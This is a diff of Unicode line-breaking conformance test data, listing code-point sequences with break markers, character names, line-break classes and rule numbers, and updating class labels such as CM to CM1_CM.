-× FFFC × 0308 × 200B ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× FFFC × 0308 × 0020 × 200B ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× FFFC × 0308 × 200B ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× FFFC × 0308 × 0020 × 200B ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× FFFC ÷ 1F1E6 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× FFFC × 0020 ÷ 1F1E6 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× FFFC × 0308 ÷ 1F1E6 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× FFFC × 0308 ÷ 1F1E6 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× FFFC ÷ 261D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× FFFC × 0020 ÷ 261D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× FFFC × 0308 ÷ 261D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 261D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× FFFC ÷ 1F3FB ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× FFFC × 0020 ÷ 1F3FB ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× FFFC × 0308 ÷ 1F3FB ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× FFFC × 0001 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× FFFC × 0020 ÷ 0001 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× FFFC × 0308 × 0001 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 0001 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× FFFC × 200D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× FFFC × 0020 ÷ 200D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× FFFC × 0308 × 200D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 200D ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× FFFC ÷ 00A7 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] SECTION SIGN (AI_AL) ÷ [0.3]
× FFFC × 0020 ÷ 00A7 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× FFFC × 0308 ÷ 00A7 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] SECTION SIGN (AI_AL) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× FFFC × 0308 ÷ 00A7 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] SECTION SIGN (AI_AL) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× FFFC ÷ 50005 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] <reserved-50005> (XX_AL) ÷ [0.3]
× FFFC × 0020 ÷ 50005 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× FFFC × 0308 ÷ 50005 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] <reserved-50005> (XX_AL) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 50005 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× FFFC × 0308 ÷ 50005 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] <reserved-50005> (XX_AL) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 50005 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× FFFC ÷ 0E01 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× FFFC × 0020 ÷ 0E01 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× FFFC × 0308 ÷ 0E01 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× FFFC × 0308 ÷ 0E01 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× FFFC ÷ 3041 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) ÷ [20.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× FFFC × 0020 ÷ 3041 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× FFFC × 0308 ÷ 3041 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× FFFC × 0308 × 0020 ÷ 3041 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× FFFC × 0308 ÷ 3041 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.02] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× FFFC × 0308 × 0020 ÷ 3041 ÷ # × [0.3] OBJECT REPLACEMENT CHARACTER (CB) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 007D ÷ 0023 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
× 007D × 0020 ÷ 0023 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 007D × 0308 ÷ 0023 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 0023 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 007D × 0308 ÷ 0023 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] NUMBER SIGN (AL) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 0023 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 007D ÷ 2014 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 007D × 0020 ÷ 2014 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 007D × 0308 ÷ 2014 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 2014 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 007D × 0308 ÷ 2014 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 2014 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 007D × 0009 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 007D × 0020 ÷ 0009 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 007D × 0308 × 0009 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 0009 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 007D × 0308 × 0009 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 0009 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 007D ÷ 00B4 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 007D × 0020 ÷ 00B4 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 007D × 0308 ÷ 00B4 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 007D × 0308 ÷ 00B4 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 007D × 000B ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 007D × 0020 × 000B ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 007D × 0308 × 000B ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 007D × 0308 × 0020 × 000B ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 007D × 0308 × 000B ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 007D × 0308 × 0020 × 000B ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 007D ÷ FFFC ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 007D × 0020 ÷ FFFC ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 007D × 0308 ÷ FFFC ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ FFFC ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 007D × 0308 ÷ FFFC ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ FFFC ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 007D × 007D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 007D × 0020 × 007D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 007D × 0308 × 007D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 007D × 0308 × 0020 × 007D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 007D × 0308 × 007D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 007D × 0308 × 0020 × 007D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 007D × 0029 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 007D × 0020 × 0029 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 007D × 0308 × 0029 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 007D × 0308 × 0020 × 0029 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 007D × 0001 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 007D × 0020 ÷ 0001 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 007D × 0308 × 0001 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 0001 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 007D × 0308 × 0029 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 007D × 0308 × 0020 × 0029 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 007D × 000D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 007D × 0020 × 000D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 007D × 0308 × 000D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 007D × 0308 × 0020 × 000D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 007D × 0308 × 000D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 007D × 0308 × 0020 × 000D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 007D × 0021 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 007D × 0020 × 0021 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 007D × 0308 × 0021 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 007D × 0308 × 0020 × 0021 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 007D × 0308 × 0021 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 007D × 0308 × 0020 × 0021 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 007D × 00A0 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 007D × 0020 ÷ 00A0 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 007D × 0308 × 00A0 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 007D × 0308 × 00A0 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 007D ÷ AC00 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 007D × 0020 ÷ AC00 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 007D × 0308 ÷ AC00 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ AC00 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 007D × 0308 ÷ AC00 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ AC00 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 007D ÷ AC01 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 007D × 0020 ÷ AC01 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 007D × 0308 ÷ AC01 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ AC01 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 007D × 0308 ÷ AC01 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ AC01 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 007D ÷ 05D0 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 007D × 0020 ÷ 05D0 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 007D × 0308 ÷ 05D0 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 007D × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 007D × 0308 ÷ 05D0 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 007D × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 007D × 002D ÷ # × [0.3] RIGHT CURLY BRACKET (CL) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
